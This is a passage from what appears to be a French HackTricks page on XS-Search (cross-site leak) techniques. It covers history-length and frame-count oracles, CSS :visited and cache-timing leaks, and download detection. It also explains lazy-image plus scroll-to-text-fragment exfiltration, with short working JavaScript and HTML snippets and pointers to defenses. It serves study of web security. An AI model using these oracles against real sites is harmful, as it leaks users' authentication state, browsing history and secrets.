Si le nombre max de redirections à suivre d'un navigateur est 20, un attaquant pourrait essayer de charger sa page avec 19 redirections et finalement envoyer la victime vers la page testée. Si une erreur est déclenchée, alors la page essayait de rediriger la victime.

Longueur de l'Historique

L'API History permet au code JavaScript de manipuler l'historique du navigateur, qui enregistre les pages visitées par un utilisateur. Un attaquant peut utiliser la propriété length comme méthode d'inclusion : pour détecter la navigation JavaScript et HTML.
Vérifiant history.length, en faisant naviguer un utilisateur vers une page, en revenant à la même origine et en vérifiant la nouvelle valeur de history.length.

Longueur de l'Historique avec la même URL

  • Méthodes d'inclusion : Frames, Pop-ups
  • Différence détectable : Si l'URL est la même que celle devinée
  • Résumé : Il est possible de deviner si l'emplacement d'un frame/pop-up est dans une URL spécifique en abusant de la longueur de l'historique.
  • Exemple de code : Ci-dessous

Un attaquant pourrait utiliser du code JavaScript pour manipuler l'emplacement du frame/pop-up vers une URL devinée et immédiatement le changer en about:blank. Si la longueur de l'historique a augmenté, cela signifie que l'URL était correcte et qu'elle a eu le temps d'augmenter car l'URL n'est pas rechargée si elle est la même. Si elle n'a pas augmenté, cela signifie qu'elle a essayé de charger l'URL devinée mais parce que nous l'avons immédiatement après chargée about:blank, la longueur de l'historique n'a jamais augmenté lors du chargement de l'URL devinée.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Compter le nombre de frames dans un web ouvert via iframe ou window.open peut aider à identifier le statut de l'utilisateur sur cette page.
De plus, si la page a toujours le même nombre de frames, vérifier en continu le nombre de frames peut aider à identifier un modèle qui pourrait divulguer des informations.

Un exemple de cette technique est que dans chrome, un PDF peut être détecté avec le comptage de frames car un embed est utilisé en interne. Il existe des paramètres d'URL ouverts qui permettent un certain contrôle sur le contenu tel que zoom, view, page, toolbar où cette technique pourrait être intéressante.

HTMLElements

La fuite d'informations à travers des éléments HTML est une préoccupation en matière de sécurité web, en particulier lorsque des fichiers multimédias dynamiques sont générés en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutés, modifiant la taille du média. Cela peut être exploité par des attaquants pour différencier entre des états possibles en analysant les informations exposées par certains éléments HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Cet élément révèle la duration et les temps buffered du média, qui peuvent être accessibles via son API. En savoir plus sur HTMLMediaElement
  • HTMLVideoElement: Il expose videoHeight et videoWidth. Dans certains navigateurs, des propriétés supplémentaires comme webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, et webkitDecodedFrameCount sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. En savoir plus sur HTMLVideoElement
  • getVideoPlaybackQuality(): Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris totalVideoFrames, qui peut indiquer la quantité de données vidéo traitées. En savoir plus sur getVideoPlaybackQuality()
  • HTMLImageElement: Cet élément divulgue la height et la width d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction image.decode() sera rejetée, indiquant l'échec de chargement correct de l'image. En savoir plus sur HTMLImageElement

CSS Property

Les applications web peuvent changer le style du site web en fonction du statut de l'utilisateur. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'élément de lien HTML, et les règles seront appliquées à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut détecter ces différences en fonction de l'état de l'utilisateur.
En tant que technique de fuite, l'attaquant peut utiliser la méthode window.getComputedStyle pour lire les propriétés CSS d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.

CSS History

{% hint style="info" %} Selon ceci, cela ne fonctionne pas dans Chrome sans tête. {% endhint %}

Le sélecteur CSS :visited est utilisé pour styliser les URL différemment si elles ont été précédemment visitées par l'utilisateur. Dans le passé, la méthode getComputedStyle() pouvait être utilisée pour identifier ces différences de style. Cependant, les navigateurs modernes ont mis en œuvre des mesures de sécurité pour empêcher cette méthode de révéler l'état d'un lien. Ces mesures incluent le retour systématique du style calculé comme si le lien avait été visité et la restriction des styles pouvant être appliqués avec le sélecteur :visited.

Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de manière indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode. Cette propriété permet le mélange d'éléments avec leur arrière-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.

De plus, la détection peut être réalisée sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donné que les navigateurs peuvent rendre les liens visités et non visités différemment, cela peut introduire une différence de temps mesurable dans le rendu. Un proof of concept (PoC) a été mentionné dans un rapport de bogue Chromium, démontrant cette technique en utilisant plusieurs liens pour amplifier la différence de timing, rendant ainsi l'état visité détectable par analyse de timing.

Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :

ContentDocument X-Frame Leak

Dans Chrome, si une page avec l'en-tête X-Frame-Options défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaît. Chrome retourne de manière unique un objet document vide (au lieu de null) pour la propriété contentDocument de cet objet, contrairement aux iframes ou à d'autres navigateurs. Les attaquants pourraient exploiter cela en détectant le document vide, révélant potentiellement des informations sur l'état de l'utilisateur, surtout si les développeurs définissent de manière incohérente l'en-tête X-Frame-Options, négligeant souvent les pages d'erreur. La sensibilisation et l'application cohérente des en-têtes de sécurité sont cruciales pour prévenir de telles fuites.

Download Detection

L'en-tête Content-Disposition, spécifiquement Content-Disposition: attachment, indique au navigateur de télécharger le contenu plutôt que de l'afficher en ligne. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe quelques techniques pour détecter ce comportement de téléchargement :

  1. Surveillance de la barre de téléchargement :
  • Lorsqu'un fichier est téléchargé dans les navigateurs basés sur Chromium, une barre de téléchargement apparaît en bas de la fenêtre du navigateur.
  • En surveillant les changements de la hauteur de la fenêtre, les attaquants peuvent déduire l'apparition de la barre de téléchargement, suggérant qu'un téléchargement a été initié.
  1. Navigation de téléchargement avec des iframes :
  • Lorsqu'une page déclenche un téléchargement de fichier en utilisant l'en-tête Content-Disposition: attachment, cela ne provoque pas un événement de navigation.
  • En chargeant le contenu dans une iframe et en surveillant les événements de navigation, il est possible de vérifier si la disposition du contenu provoque un téléchargement de fichier (pas de navigation) ou non.
  1. Navigation de téléchargement sans iframes :
  • Semblable à la technique iframe, cette méthode implique d'utiliser window.open au lieu d'une iframe.
  • Surveiller les événements de navigation dans la nouvelle fenêtre ouverte peut révéler si un téléchargement de fichier a été déclenché (pas de navigation) ou si le contenu est affiché en ligne (navigation se produit).

Dans les scénarios où seuls les utilisateurs connectés peuvent déclencher de tels téléchargements, ces techniques peuvent être utilisées pour déduire indirectement l'état d'authentification de l'utilisateur en fonction de la réponse du navigateur à la demande de téléchargement.

Partitioned HTTP Cache Bypass

{% hint style="warning" %} C'est pourquoi cette technique est intéressante : Chrome a maintenant le partitionnement du cache, et la clé de cache de la page nouvellement ouverte est : (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clé de cache sera : (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clé de cache est différente, donc le cache ne peut pas être partagé. Vous pouvez trouver plus de détails ici : Gagner en sécurité et en confidentialité en partitionnant le cache
(Commentaire de ici) {% endhint %}

Si un site example.com inclut une ressource de *.example.com/resource, alors cette ressource aura la même clé de cache que si la ressource était directement demandée par navigation de niveau supérieur. Cela est dû au fait que la clé de cache est constituée de eTLD+1 de niveau supérieur et de eTLD+1 de frame.

Parce qu'accéder au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) après. Si l'origine a été changée après l'arrêt, cela signifie que la ressource a été mise en cache.
Ou il pourrait simplement envoyer quelques fetch à la page potentiellement mise en cache et mesurer le temps qu'il faut.

Manual Redirect

Fetch with AbortController

Utilisez fetch et setTimeout avec un AbortController pour détecter si la ressource est mise en cache et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.

Script Pollution

Service Workers

Dans le scénario donné, l'attaquant prend l'initiative d'enregistrer un service worker dans l'un de ses domaines, spécifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenêtre sur le site web cible depuis le document principal et demande au service worker de commencer un chronomètre. Lorsque la nouvelle fenêtre commence à se charger, l'attaquant navigue vers la référence obtenue dans l'étape précédente vers une page gérée par le service worker.

À l'arrivée de la requête initiée dans l'étape précédente, le service worker répond avec un code d'état 204 (No Content), terminant effectivement le processus de navigation. À ce stade, le service worker capture une mesure du chronomètre initié plus tôt à l'étape deux. Cette mesure est influencée par la durée du JavaScript causant des retards dans le processus de navigation.

{% hint style="warning" %} Dans un timing d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger. {% endhint %}

Fetch Timing

Cross-Window Timing


Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

Avec HTML ou Réinjection

Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intéressantes dans les cas où pour une raison quelconque vous pouvez injecter du HTML mais vous ne pouvez pas injecter de code JS.

Dangling Markup

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret, vous devriez vérifier les techniques de balisage pendantes courantes.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractère par caractère (peut-être que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.

Les images en HTML ont un attribut "loading" dont la valeur peut être "lazy". Dans ce cas, l'image sera chargée lorsqu'elle sera vue et non pendant le chargement de la page :

<img src=/something loading=lazy >

Par conséquent, ce que vous pouvez faire est d'ajouter beaucoup de caractères inutiles (par exemple des milliers de "W") pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, si par exemple notre injection apparaît avant le drapeau, l'image serait chargée, mais si elle apparaît après le drapeau, le drapeau + les caractères inutiles empêcheront son chargement (vous devrez jouer avec la quantité de caractères inutiles à placer). C'est ce qui s'est passé dans ce rapport.

Une autre option serait d'utiliser le scroll-to-text-fragment si cela est autorisé :

Scroll-to-text-fragment

Cependant, vous faites en sorte que le bot accède à la page avec quelque chose comme

#:~:text=SECR

La page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR

Où post.html contient les caractères indésirables de l'attaquant et une image à chargement paresseux, puis le secret du bot est ajouté.

Ce texte fera en sorte que le bot accède à tout texte sur la page contenant le texte SECR. Comme ce texte est le secret et qu'il est juste en dessous de l'image, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractère par caractère.

Un exemple de code pour exploiter cela : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Chargement d'Image Paresseux Basé sur le Temps

S'il est impossible de charger une image externe qui pourrait indiquer à l'attaquant que l'image a été chargée, une autre option serait d'essayer de deviner le caractère plusieurs fois et de mesurer cela. Si l'image est chargée, toutes les requêtes prendraient plus de temps que si l'image n'est pas chargée. C'est ce qui a été utilisé dans la solution de ce rapport résumée ici :

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Si jQuery(location.hash) est utilisé, il est possible de découvrir via le timing si un contenu HTML existe, cela est dû au fait que si le sélecteur main[id='site-main'] ne correspond pas, il n'est pas nécessaire de vérifier le reste des sélecteurs :

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injection CSS

{% content-ref url="css-injection/" %} css-injection {% endcontent-ref %}

Défenses

Il existe des atténuations recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour plus d'informations sur la protection contre ces techniques.

Références

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}